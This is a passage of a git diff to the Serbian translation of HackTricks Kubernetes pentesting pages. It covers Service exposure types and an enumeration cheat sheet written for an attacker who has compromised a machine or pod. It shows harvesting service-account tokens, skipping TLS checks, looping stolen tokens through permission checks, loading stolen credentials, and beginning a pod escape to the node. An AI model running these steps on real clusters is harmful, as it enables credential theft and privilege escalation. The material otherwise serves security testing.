dokumenata:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) Servisi tipa ExternalName **mapiraju servis na DNS ime**, a ne na tipičan selektor kao što je `my-service` ili `cassandra`. Ove servise definišete pomoću parametra `spec.externalName`. +[**Iz dokumentacije:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) Services tipa ExternalName **mapiraju Service na DNS ime**, ne na tipičan selector kao što je `my-service` ili `cassandra`. Ove Services navodite pomoću `spec.externalName` parametra. -Ova definicija servisa, na primer, mapira `my-service` servis u `prod` imenskom prostoru na `my.database.example.com`: +Ova Service definicija, na primer, mapira `my-service` Service u `prod` namespace-u na `my.database.example.com`: ```yaml apiVersion: v1 kind: Service @@ -134,56 +136,95 @@ spec: type: ExternalName externalName: my.database.example.com ``` -Kada se traži host `my-service.prod.svc.cluster.local`, klasterska DNS usluga vraća `CNAME` zapis sa vrednošću `my.database.example.com`. Pristup `my-service` funkcioniše na isti način kao i druge usluge, ali sa ključnom razlikom da **preusmeravanje se dešava na DNS nivou** umesto putem proksiranja ili prosleđivanja. +Prilikom traženja hosta `my-service.prod.svc.cluster.local`, cluster DNS Service vraća `CNAME` zapis sa vrednošću `my.database.example.com`. Pristup `my-service` radi na isti način kao i ostali Services, ali sa ključnom razlikom da se **preusmeravanje dešava na DNS nivou** umesto preko proxying-a ili forwarding-a. -Nabrojte sve ExternalNames: +Izlistajte sve ExternalNames: ```bash kubectl get services --all-namespaces | grep ExternalName ``` +### EndpointSlices + +EndpointSlices prikazuju konkretne backend adrese i portove na koje Service trenutno usmerava promet. Posebno su korisni kada Service nema selector, kada labels ne objašnjavaju putanju saobraćaja, ili kada je samo neki backend spreman. + +List EndpointSlices associated with Services: +```bash +kubectl get endpointslices --all-namespaces +kubectl get endpointslice -n -l kubernetes.io/service-name= -o yaml +kubectl get endpointslice -n -l kubernetes.io/service-name= \ +-o custom-columns='NAME:.metadata.name,ADDR:.endpoints[*].addresses,READY:.endpoints[*].conditions.ready,PORTS:.ports[*].port' +``` +Prilikom pregleda exposure-a, uporedite Service selector sa EndpointSlice `targetRef`, endpoint adresama, readiness uslovima i portovima. Selectorless Service može biti uparen sa ručno upravljanim EndpointSlices i usmeravati traffic ka ne-Pod ili neočekivanim destinacijama. + ### Ingress -Za razliku od svih gore navedenih primera, **Ingress NIJE tip usluge**. Umesto toga, on se nalazi **ispred više usluga i deluje kao “pametan ruter”** ili ulazna tačka u vaš klaster. +Za razliku od svih prethodnih primera, **Ingress NIJE tip service-a**. Umesto toga, stoji **ispred više services i ponaša se kao “smart router”** ili ulazna tačka u vaš cluster. -Možete raditi mnogo različitih stvari sa Ingress-om, i postoje **različite vrste Ingress kontrolera koji imaju različite mogućnosti**. +Sa Ingress-om možete raditi mnogo različitih stvari, a postoji **mnogo tipova Ingress controllers** koji imaju različite capabilities. -Podrazumevani GKE ingress kontroler će pokrenuti [HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) za vas. Ovo će vam omogućiti da radite i rutiranje zasnovano na putanji i rutiranje zasnovano na poddomenama ka pozadinskim uslugama. Na primer, možete poslati sve na foo.yourdomain.com ka foo usluzi, i sve ispod putanje yourdomain.com/bar/ ka bar usluzi. +Default GKE ingress controller će vam podići [HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) umesto vas. Ovo će vam omogućiti da radite i path-based i subdomain-based routing ka backend services. Na primer, možete poslati sve sa foo.yourdomain.com na foo service, i sve pod yourdomain.com/bar/ path-om na bar service. -YAML za Ingress objekat na GKE sa [L7 HTTP Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) može izgledati ovako: +YAML za Ingress object na GKE sa [L7 HTTP Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) može da izgleda ovako: ```yaml -apiVersion: extensions/v1beta1 +apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: my-ingress spec: -backend: -serviceName: other -servicePort: 8080 +defaultBackend: +service: +name: other +port: +number: 8080 rules: - host: foo.mydomain.com http: paths: -- backend: -serviceName: foo -servicePort: 8080 +- path: / +pathType: Prefix +backend: +service: +name: foo +port: +number: 8080 - host: mydomain.com http: paths: -- path: /bar/* +- path: /bar +pathType: Prefix backend: -serviceName: bar -servicePort: 8080 +service: +name: bar +port: +number: 8080 ``` -Nabrojite sve ulaze: +Listaj sve ingress-e: ```bash kubectl get ingresses --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,RULES:spec.rules[*],STATUS:status' ``` -Iako je u ovom slučaju bolje dobiti informacije o svakom pojedinačno kako bi se lakše pročitali: +Iako je u ovom slučaju bolje da se info svakog pojedinačno uzme kako bi se lakše pročitao: ```bash kubectl get ingresses --all-namespaces -o=yaml ``` -### Reference +### Gateway API + +Gateway API je noviji Kubernetes API za izlaganje Services. On odvaja infrastrukturno vlasništvo nad Gateway objektima od aplikaciono vlasništvo nad Route objektima kao što je HTTPRoute. Ovo je korisno za delegiranje, ali takođe znači da exposure može biti podeljen across namespaces. + +List Gateway API exposure objects: +```bash +kubectl get gatewayclasses +kubectl get gateways --all-namespaces +kubectl get httproutes --all-namespaces +kubectl get gateway -n -o yaml +kubectl get httproute -n -o yaml +``` +Proverite Gateway listeners, dozvoljene route namespaces, Route `parentRefs`, hostnames, filters, backend references i status uslove kao što je da li je route prihvaćen. Route koji prihvati shared Gateway može da izloži backend čak i kada ne postoji legacy Ingress objekat. + +### References - [https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0](https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0) - [https://kubernetes.io/docs/concepts/services-networking/service/](https://kubernetes.io/docs/concepts/services-networking/service/) +- [https://kubernetes.io/blog/2026/05/14/kubernetes-v1-36-deprecation-and-removal-of-service-externalips/](https://kubernetes.io/blog/2026/05/14/kubernetes-v1-36-deprecation-and-removal-of-service-externalips/) +- [https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/](https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/) +- [https://gateway-api.sigs.k8s.io/](https://gateway-api.sigs.k8s.io/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md index fe45f7aec..f589fbb08 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md @@ -4,86 +4,86 @@ ## Kubernetes Tokens -Ako imate kompromitovan pristup mašini, korisnik može imati pristup nekoj Kubernetes platformi. Token se obično nalazi u datoteci na koju ukazuje **env var `KUBECONFIG`** ili **unutar `~/.kube`**. +If you have compromised access to a machine the user may have access to some Kubernetes platform. The token is usually located in a file pointed by the **env var `KUBECONFIG`** or **inside `~/.kube`**. -U ovoj fascikli možete pronaći konfiguracione datoteke sa **tokenima i konfiguracijama za povezivanje sa API serverom**. U ovoj fascikli takođe možete pronaći fasciklu sa kešom sa informacijama prethodno preuzetim. +In this folder you might find config files with **tokens and configurations to connect to the API server**. In this folder you can also find a cache folder with information previously retrieved. -Ako ste kompromitovali pod unutar kubernetes okruženja, postoje i druga mesta gde možete pronaći tokene i informacije o trenutnom K8 okruženju: +If you have compromised a pod inside a kubernetes environment, there are other places where you can find tokens and information about the current K8 env: ### Service Account Tokens -Pre nego što nastavite, ako ne znate šta je servis u Kubernetes-u, preporučujem vam da **pratite ovaj link i pročitate barem informacije o Kubernetes arhitekturi.** +Before continuing, if you don't know what is a service in Kubernetes I would suggest you to **follow this link and read at least the information about Kubernetes architecture.** -Preuzeto iz Kubernetes [dokumentacije](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server): +Taken from the Kubernetes [documentation](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server): -_“Kada kreirate pod, ako ne navedete servisni nalog, automatski se dodeljuje_ default _servisni nalog u istoj imenskoj oblasti.”_ +_“When you create a pod, if you do not specify a service account, it is automatically assigned the_ default _service account in the same namespace.”_ -**ServiceAccount** je objekat kojim upravlja Kubernetes i koristi se za pružanje identiteta za procese koji se izvršavaju u podu.\ -Svaki servisni nalog ima tajnu povezanu sa njim i ova tajna sadrži bearer token. Ovo je JSON Web Token (JWT), metoda za sigurno predstavljanje zahteva između dve strane. +**ServiceAccount** is an object managed by Kubernetes and used to provide an identity for processes that run in a pod.\ +Every service account has a secret related to it and this secret contains a bearer token. This is a JSON Web Token (JWT), a method for representing claims securely between two parties. -Obično **jedna** od fascikli: +Usually **one** of the directories: - `/run/secrets/kubernetes.io/serviceaccount` - `/var/run/secrets/kubernetes.io/serviceaccount` - `/secrets/kubernetes.io/serviceaccount` -sadrži datoteke: +contain the files: -- **ca.crt**: To je ca sertifikat za proveru kubernetes komunikacija -- **namespace**: Ukazuje na trenutnu imensku oblast -- **token**: Sadrži **servisni token** trenutnog poda. +- **ca.crt**: To je ca certificate za proveru kubernetes komunikacije +- **namespace**: Indikuje trenutni namespace +- **token**: Sadrži **service token** trenutnog poda. -Sada kada imate token, možete pronaći API server unutar promenljive okruženja **`KUBECONFIG`**. Za više informacija pokrenite `(env | set) | grep -i "kuber|kube`**`"`** +Now that you have the token, you can find the API server inside the environment variable **`KUBECONFIG`**. For more info run `(env | set) | grep -i "kuber|kube`**`"`** -Token servisnog naloga se potpisuje ključem koji se nalazi u datoteci **sa.key** i validira se pomoću **sa.pub**. +The service account token is being signed by the key residing in the file **sa.key** and validated by **sa.pub**. -Podrazumevana lokacija na **Kubernetes**: +Default location on **Kubernetes**: - /etc/kubernetes/pki -Podrazumevana lokacija na **Minikube**: +Default location on **Minikube**: - /var/lib/localkube/certs ### Hot Pods -_**Hot pods su**_ podovi koji sadrže privilegovani token servisnog naloga. Privilegovani token servisnog naloga je token koji ima dozvolu za obavljanje privilegovanih zadataka kao što su listanje tajni, kreiranje podova, itd. +_**Hot pods are**_ pods containing a privileged service account token. A privileged service account token is a token that has permission to do privileged tasks such as listing secrets, creating pods, etc. ## RBAC -Ako ne znate šta je **RBAC**, **pročitajte ovaj odeljak**. +If you don't know what is **RBAC**, **read this section**. ## GUI Applications -- **k9s**: GUI koji enumeriše kubernetes klaster iz terminala. Proverite komande u [https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Napišite `:namespace` i izaberite sve da biste zatim pretražili resurse u svim imenskim oblastima. -- **k8slens**: Nudi nekoliko besplatnih probnih dana: [https://k8slens.dev/](https://k8slens.dev/) +- **k9s**: GUI koja enumeriše kubernetes cluster iz terminala. Proveri komande na [https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Upiši `:namespace` i izaberi all da bi zatim pretraživao resurse u svim namespaces. +- **k8slens**: Nudi nekoliko free trial dana: [https://k8slens.dev/](https://k8slens.dev/) ## Enumeration CheatSheet -Da biste enumerisali K8s okruženje, potrebni su vam neki od ovih: +In order to enumerate a K8s environment you need a couple of this: -- **validan autentifikacioni token**. U prethodnom odeljku smo videli gde da tražimo korisnički token i token servisnog naloga. -- **adresa (**_**https://host:port**_**) Kubernetes API**. Ovo se obično može pronaći u promenljivim okruženja i/ili u kube konfiguracionoj datoteci. -- **Opcionalno**: **ca.crt za verifikaciju API servera**. Ovo se može pronaći na istim mestima gde se može pronaći token. Ovo je korisno za verifikaciju sertifikata API servera, ali korišćenjem `--insecure-skip-tls-verify` sa `kubectl` ili `-k` sa `curl` vam to neće biti potrebno. +- A **valid authentication token**. In the previous section we saw where to search for a user token and for a service account token. +- The **address (**_**https://host:port**_**) of the Kubernetes API**. This can be usually found in the environment variables and/or in the kube config file. +- **Optional**: The **ca.crt to verify the API server**. This can be found in the same places the token can be found. This is useful to verify the API server certificate, but using `--insecure-skip-tls-verify` with `kubectl` or `-k` with `curl` you won't need this. -Sa tim detaljima možete **enumerisati kubernetes**. Ako je **API** iz nekog razloga **dostupan** putem **Interneta**, možete jednostavno preuzeti te informacije i enumerisati platformu sa vaše mašine. +With those details you can **enumerate kubernetes**. If the **API** for some reason is **accessible** through the **Internet**, you can just download that info and enumerate the platform from your host. -Međutim, obično je **API server unutar interne mreže**, stoga ćete morati da **napravite tunel** kroz kompromitovanu mašinu da biste mu pristupili sa vaše mašine, ili možete **otpremiti** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binarni fajl, ili koristiti **`curl/wget/anything`** za izvođenje sirovih HTTP zahteva ka API serveru. +However, usually the **API server is inside an internal network**, therefore you will need to **create a tunnel** through the compromised machine to access it from your machine, or you can **upload the** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binary, or use **`curl/wget/anything`** to perform raw HTTP requests to the API server. ### Differences between `list` and `get` verbs -Sa **`get`** dozvolama možete pristupiti informacijama o specifičnim resursima (_`describe` opcija u `kubectl`_) API: +With **`get`** permissions you can access information of specific assets (_`describe` option in `kubectl`_) API: ``` GET /apis/apps/v1/namespaces/{namespace}/deployments/{name} ``` -Ako imate **`list`** dozvolu, dozvoljeno vam je da izvršavate API zahteve za listanje tipa imovine (_`get` opcija u `kubectl`_): +Ako imate dozvolu **`list`**, možete izvršavati API zahteve za listanje tipa asset-a (_`get` opcija u `kubectl`_): ```bash #In a namespace GET /apis/apps/v1/namespaces/{namespace}/deployments #In all namespaces GET /apis/apps/v1/deployments ``` -Ako imate **`watch`** dozvolu, dozvoljeno vam je da izvršavate API zahteve za praćenje resursa: +Ako imate dozvolu **`watch`**, možete da izvršavate API zahteve za praćenje assets: ``` GET /apis/apps/v1/deployments?watch=true GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true @@ -91,14 +91,14 @@ GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name} [DEPRECATED] GET /apis/apps/v1/watch/namespaces/{namespace}/deployments [DEPRECATED] GET /apis/apps/v1/watch/deployments [DEPRECATED] ``` -Oni otvaraju streaming vezu koja vam vraća puni manifest jednog Deployment-a svaki put kada se promeni (ili kada se kreira novi). +Oni otvaraju streaming konekciju koja ti vraća ceo manifest `Deployment`-a svaki put kada se promeni (ili kada se kreira novi). > [!CAUTION] -> Sledeće `kubectl` komande pokazuju samo kako da se navedu objekti. Ako želite da pristupite podacima, treba da koristite `describe` umesto `get` +> Sledeće `kubectl` komande samo pokazuju kako da izlistaš objekte. Ako želiš da pristupiš podacima, treba da koristiš `describe` umesto `get` -### Korišćenje curl-a +### Using curl -Iz unutrašnjosti poda možete koristiti nekoliko env varijabli: +Iznutra pod-a možeš da koristiš nekoliko env varijabli: ```bash export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS} export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount @@ -109,21 +109,21 @@ alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\"" # if kurl is still got cert Error, using -k option to solve this. ``` > [!WARNING] -> Pod može **pristupiti** **kube-api serveru** u imenskom prostoru **`kubernetes.default.svc`** i možete videti kube mrežu u **`/etc/resolv.config`** jer ćete ovde pronaći adresu kubernetes DNS servera (".1" iste opsega je kube-api krajnja tačka). +> Pod po defaultu može da **access**-uje **kube-api server** na domain name **`kubernetes.default.svc`** i možete videti kube network u **`/etc/resolv.config`** jer ćete tu naći adresu kubernetes DNS servera (".1" iste range je kube-api endpoint). -### Korišćenje kubectl +### Using kubectl -Imajući token i adresu API servera, koristite kubectl ili curl za pristup kao što je ovde naznačeno: +Having the token and the address of the API server you use kubectl or curl to access it as indicated here: -Podrazumevano, APISERVER komunicira sa `https://` šemom. +By default, The APISERVER is communicating with `https://` schema ```bash alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces ``` -> ako nema `https://` u URL-u, možete dobiti grešku poput Bad Request. +> ako nema `https://` u url, možete dobiti Error kao Bad Request. -Možete pronaći [**službeni kubectl cheatsheet ovde**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/). Cilj sledećih sekcija je da predstavi različite opcije za enumeraciju i razumevanje novog K8s na koji ste dobili pristup. +Možete pronaći [**official kubectl cheatsheet ovde**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/). Cilj sledećih sekcija je da na organizovan način prikaže različite opcije za enumeraciju i razumevanje novog K8s kojem ste dobili pristup. -Da biste pronašli HTTP zahtev koji `kubectl` šalje, možete koristiti parametar `-v=8` +Da biste pronašli HTTP request koji `kubectl` šalje, možete koristiti parametar `-v=8` #### MitM kubectl - Proxyfying kubectl ```bash @@ -134,7 +134,7 @@ export HTTPS_PROXY=http://localhost:8080 # Launch kubectl kubectl get namespace --insecure-skip-tls-verify=true ``` -### Trenutna Konfiguracija +### Trenutna konfiguracija {{#tabs }} {{#tab name="Kubectl" }} @@ -150,7 +150,7 @@ kubectl config set-context --current --namespace= {{#endtab }} {{#endtabs }} -Ako ste uspeli da ukradete kredencijale nekih korisnika, možete ih **konfigurisati lokalno** koristeći nešto poput: +Ako ste uspeli da ukradete neke korisničke kredencijale, možete ih **konfigurisati lokalno** koristeći nešto poput: ```bash kubectl config set-credentials USER_NAME \ --auth-provider=oidc \ @@ -161,9 +161,9 @@ kubectl config set-credentials USER_NAME \ --auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \ --auth-provider-arg=id-token=( your id_token ) ``` -### Dobijanje podržanih resursa +### Dobij podržane resurse -Sa ovom informacijom ćete znati sve usluge koje možete navesti +Sa ovim informacijama znaćete sve servise koje možete da prikažete {{#tabs }} {{#tab name="kubectl" }} @@ -174,7 +174,22 @@ k api-resources --namespaced=false #Resources NOT specific to a namespace {{#endtab }} {{#endtabs }} -### Dobijte trenutne privilegije +### Metapodaci objekta koje vredi proveriti + +Kada možete da pročitate objekat, izvezite kompletan YAML ili JSON umesto da se oslanjate samo na tabelarni prikaz ili `describe`. Najkorisniji bezbednosni kontekst često se nalazi u generičkim poljima objekta koja postoje u mnogim tipovima resursa: +```bash +kubectl get pod -n -o yaml +kubectl get deploy -n -o json | jq '.metadata, .spec, .status' +kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName,PHASE:.status.phase' +``` +- `metadata.uid`, `name`, `namespace`, `apiVersion` i `kind` identifikuju tačan object i izbegavaju zabunu između objekata sa istim imenom u različitim namespaces ili API groups. +- `metadata.labels` i selectors povezuju Services, Deployments, ReplicaSets, Pods, NetworkPolicies i automation. Praćenje selectors je često najbrži način da se identifikuju stvarni backend pods za jedan Service. +- `metadata.annotations` mogu da procure operational context kao što su ingress behavior, cloud load balancer settings, GitOps ili Helm metadata, policy exemptions i service mesh configuration. Oni ne bi trebalo da sadrže secrets, ali stvarni clusters često tamo otkrivaju korisne tragove. +- `metadata.ownerReferences` prikazuje controller lineage. Ako je Pod vlasništvo ReplicaSet-a koji je vlasništvo Deployment-a, menjanje ili brisanje samo Pod-a obično ne rešava izvor problema. +- `metadata.finalizers` i `metadata.deletionTimestamp` objašnjavaju resources zaglavljene u brisanju i mogu otkriti cleanup controllers ili persistence/disruption trikove. +- `status`, Events i conditions mogu otkriti node placement, pod IPs, image IDs, failure messages, scheduling issues, admission denials i controller progress. Oni su korisni tragovi, ali audit logs su i dalje potrebni da bi se dokazalo ko je izvršio akciju. + +### Get Current Privileges {{#tabs }} {{#tab name="kubectl" }} @@ -197,21 +212,21 @@ kurl -i -s -k -X $'POST' \ {{#endtab }} {{#endtabs }} -Još jedan način da proverite svoje privilegije je korišćenje alata: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\* +Drugi način da proveriš svoje privilegije je korišćenje alata: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\* -Možete saznati više o **Kubernetes RBAC** u: +Možeš saznati više o **Kubernetes RBAC** u: {{#ref}} kubernetes-role-based-access-control-rbac.md {{#endref}} -**Kada znate koje privilegije** imate, proverite sledeću stranicu da biste utvrdili **da li ih možete zloupotrebiti** za eskalaciju privilegija: +**Kada saznaš koje privilegije** imaš, proveri sledeću stranicu da vidiš **da li možeš da ih zloupotrebiš** za eskalaciju privilegija: {{#ref}} abusing-roles-clusterroles-in-kubernetes/ {{#endref}} -### Dobijanje drugih uloga +### Get Others roles {{#tabs }} {{#tab name="kubectl" }} @@ -229,9 +244,9 @@ kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clu {{#endtab }} {{#endtabs }} -### Dobijanje imenskih prostora +### Dobij namespace-ove -Kubernetes podržava **više virtuelnih klastera** koji se oslanjaju na isti fizički klaster. Ovi virtuelni klasteri se nazivaju **imenski prostori**. +Kubernetes podržava **više virtuelnih klastera** zasnovanih na istom fizičkom klasteru. Ovi virtuelni klasteri se zovu **namespaces**. {{#tabs }} {{#tab name="kubectl" }} @@ -244,10 +259,7 @@ k get namespaces ```bash kurl -k -v https://$APISERVER/api/v1/namespaces/ ``` -{{#endtab }} -{{#endtabs }} - -### Dobijanje tajni +### Dobij secrets {{#tabs }} {{#tab name="kubectl" }} @@ -266,13 +278,13 @@ kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/ {{#endtab }} {{#endtabs }} -Ako možete da čitate tajne, možete koristiti sledeće linije da dobijete privilegije povezane sa svakim tokenom: +Ako možeš da čitaš secrets, možeš da koristiš sledeće linije da dobiješ privilegije povezane sa svakim tokenom: ```bash for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done ``` -### Dobijanje servisnih naloga +### Dobij Service Accounts -Kao što je pomenuto na početku ove stranice **kada se pod pokrene, obično mu se dodeljuje servisni nalog**. Stoga, listanje servisnih naloga, njihovih dozvola i gde se pokreću može omogućiti korisniku da eskalira privilegije. +Kao što je pomenuto na početku ove stranice, **kada se pod pokrene, obično mu se dodeljuje service account**. Zbog toga, listanje service accounts, njihovih dozvola i gde se izvršavaju može omogućiti korisniku da eskalira privilegije. {{#tabs }} {{#tab name="kubectl" }} @@ -288,9 +300,9 @@ kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts {{#endtab }} {{#endtabs }} -### Preuzmi implementacije +### Preuzmi Deployments -Implementacije definišu **komponente** koje treba **pokrenuti**. +Deployments specificiraju željeno stanje za stateless application workloads. Oni kreiraju ReplicaSets, a ti ReplicaSets kreiraju Pods. {{#tabs }} {{#tab name="kubectl" }} @@ -302,14 +314,33 @@ k get deployments -n custnamespace {{#tab name="API" }} ```bash -kurl -v https://$APISERVER/api/v1/namespaces//deployments/ +kurl -v https://$APISERVER/apis/apps/v1/namespaces//deployments/ ``` {{#endtab }} {{#endtabs }} -### Preuzmi Podove +### Dobijte StatefulSets -Podovi su stvarni **kontejneri** koji će **raditi**. +StatefulSets upravljaju Podovima kojima su potrebna stabilna imena, uređeno ponašanje rollout-a i često persistent volumes po repliki. + +{{#tabs }} +{{#tab name="kubectl" }} +```bash +k get statefulsets +k get statefulsets -n custnamespace +``` +{{#endtab }} + +{{#tab name="API" }} +```bash +kurl -v https://$APISERVER/apis/apps/v1/namespaces//statefulsets/ +``` +{{#endtab }} +{{#endtabs }} + +### Get Pods + +Pods su stvarni **containers** koji će **run**. {{#tabs }} {{#tab name="kubectl" }} @@ -326,9 +357,9 @@ kurl -v https://$APISERVER/api/v1/namespaces//pods/ {{#endtab }} {{#endtabs }} -### Dobijanje usluga +### Pronađi Services -Kubernetes **usluge** se koriste za **izlaganje usluge na određenom portu i IP** (koji će delovati kao balansirnik opterećenja za podove koji zapravo nude uslugu). Ovo je zanimljivo znati gde možete pronaći druge usluge koje možete pokušati napasti. +Kubernetes **services** se koriste da **izlože service na određenom portu i IP adresi** (koja će delovati kao load balancer za pods koji zapravo pružaju service). Ovo je korisno da znaš gde možeš da pronađeš druge services koje možeš pokušati da napadneš. {{#tabs }} {{#tab name="kubectl" }} @@ -340,14 +371,14 @@ k get services -n custnamespace {{#tab name="API" }} ```bash -kurl -v https://$APISERVER/api/v1/namespaces/default/services/ +kurl -v https://$APISERVER/api/v1/namespaces//services/ ``` {{#endtab }} {{#endtabs }} -### Dobijanje čvorova +### Pribavi nodes -Dobijte sve **čvorove konfigurisane unutar klastera**. +Pribavi sve **nodes konfigurisanе unutar cluster-a**. {{#tabs }} {{#tab name="kubectl" }} @@ -363,9 +394,9 @@ kurl -v https://$APISERVER/api/v1/nodes/ {{#endtab }} {{#endtabs }} -### Dobijanje DaemonSets +### Pribavi DaemonSets -**DaeamonSets** omogućava da se osigura da **određeni pod radi na svim čvorovima** klastera (ili na odabranim). Ako obrišete DaemonSet, podovi koje on upravlja će takođe biti uklonjeni. +**DaemonSets** obezbeđuju da je **određeni Pod pokrenut na svim izabranim nodovima** klastera. Ako obrišeš DaemonSet, i Podovi kojima on upravlja biće uklonjeni. {{#tabs }} {{#tab name="kubectl" }} @@ -376,32 +407,52 @@ k get daemonsets {{#tab name="API" }} ```bash -kurl -v https://$APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets +kurl -v https://$APISERVER/apis/apps/v1/namespaces//daemonsets ``` {{#endtab }} {{#endtabs }} -### Dobijanje cronjob-a +### Dobijanje Jobs -Cron poslovi omogućavaju zakazivanje pokretanja poda koji će izvršiti neku radnju koristeći crontab sintaksu. +Jobs kreiraju Pods koji rade do završetka. Obično se koriste za migracije, backup-e, batch poslove i jednokratne administrativne zadatke. {{#tabs }} {{#tab name="kubectl" }} ```bash -k get cronjobs +k get jobs +k get jobs -n custnamespace ``` {{#endtab }} {{#tab name="API" }} ```bash -kurl -v https://$APISERVER/apis/batch/v1beta1/namespaces//cronjobs +kurl -v https://$APISERVER/apis/batch/v1/namespaces//jobs ``` {{#endtab }} {{#endtabs }} -### Preuzmi configMap +### Dobij CronJobs -configMap uvek sadrži mnogo informacija i konfiguracionih fajlova koji se pružaju aplikacijama koje rade u kubernetesu. Obično možete pronaći mnogo lozinki, tajni, tokena koji se koriste za povezivanje i validaciju sa drugim internim/eksternim servisima. +CronJobs koriste raspored nalik crontab-u za kreiranje Jobs koji pokreću Pods za izvršavanje zadataka. + +{{#tabs }} +{{#tab name="kubectl" }} +```bash +k get cronjobs +k get cronjobs -n custnamespace +``` +{{#endtab }} + +{{#tab name="API" }} +```bash +kurl -v https://$APISERVER/apis/batch/v1/namespaces//cronjobs +``` +{{#endtab }} +{{#endtabs }} + +### Dobij configMap + +configMap uvek sadrži mnogo informacija i configfile-ova koje se daju aplikacijama koje rade u kubernetes. Obično možeš da pronađeš mnogo passworda, secrets i tokena koji se koriste za povezivanje i validaciju sa drugim internim/eksternim servisima. {{#tabs }} {{#tab name="kubectl" }} @@ -417,19 +468,16 @@ kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps {{#endtab }} {{#endtabs }} -### Dobijanje mrežnih politika / Cilium mrežnih politika +### Dobijanje Network Policies / Cilium Network Policies {{#tabs }} -{{#tab name="Prva kartica" }} +{{#tab name="First Tab" }} ```bash k get networkpolicies k get CiliumNetworkPolicies k get CiliumClusterwideNetworkPolicies ``` -{{#endtab }} -{{#endtabs }} - -### Dobij sve / Sve +### Uzmi sve / Sve {{#tabs }} {{#tab name="kubectl" }} @@ -439,17 +487,14 @@ k get all {{#endtab }} {{#endtabs }} -### **Dobijte sve resurse koje upravlja helm** +### **Preuzmite sve resurse kojima upravlja helm** {{#tabs }} {{#tab name="kubectl" }} ```bash k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm' ``` -{{#endtab }} -{{#endtabs }} - -### **Dobijanje potrošnje Podova** +### **Get Pods consumptions** {{#tabs }} {{#tab name="kubectl" }} @@ -459,23 +504,23 @@ k top pod --all-namespaces {{#endtab }} {{#endtabs }} -## Interakcija sa klasterom bez korišćenja kubectl +## Interacting with the cluster without using kubectl -S obzirom na to da Kubernetes kontrolna ravni izlaže REST-ful API, možete ručno kreirati HTTP zahteve i slati ih sa drugim alatima, kao što su **curl** ili **wget**. +Pošto Kubernetes control plane izlaže REST-ful API, možete ručno napraviti HTTP requests i poslati ih drugim alatima, kao što su **curl** ili **wget**. -### Bekstvo iz poda +### Escaping from the pod -Ako ste u mogućnosti da kreirate nove pode, možda ćete moći da pobegnete iz njih na čvor. Da biste to uradili, potrebno je da kreirate novi pod koristeći yaml datoteku, prebacite se na kreirani pod i zatim chroot u sistem čvora. Možete koristiti već postojeće pode kao referencu za yaml datoteku, pošto prikazuju postojeće slike i putanje. +Ako možete da kreirate nove pods, možda ćete moći da iz njih pobegnete na node. Da biste to uradili, potrebno je da kreirate novi pod koristeći yaml fajl, pređete na kreirani pod, a zatim uradite chroot u sistem node-a. Možete koristiti već postojeće pods kao referencu za yaml fajl, pošto one prikazuju postojeće images i pathes. ```bash kubectl get pod [-n ] -o yaml ``` -> ako treba da kreirate pod na specifičnom čvoru, možete koristiti sledeću komandu da dobijete oznake na čvoru +> ako treba da kreiraš pod na određenom node-u, možeš da koristiš sledeću komandu da dobiješ labels na node-u > > `k get nodes --show-labels` > -> Obično, kubernetes.io/hostname i node-role.kubernetes.io/master su sve dobre oznake za selekciju. +> Uobičajeno, kubernetes.io/hostname i node-role.kubernetes.io/master su dobri labeli za selekciju. -Zatim kreirate svoj attack.yaml fajl +Zatim kreiraš svoj attack.yaml fajl ```yaml apiVersion: v1 kind: Pod @@ -507,21 +552,21 @@ restartPolicy: Never ``` [original yaml 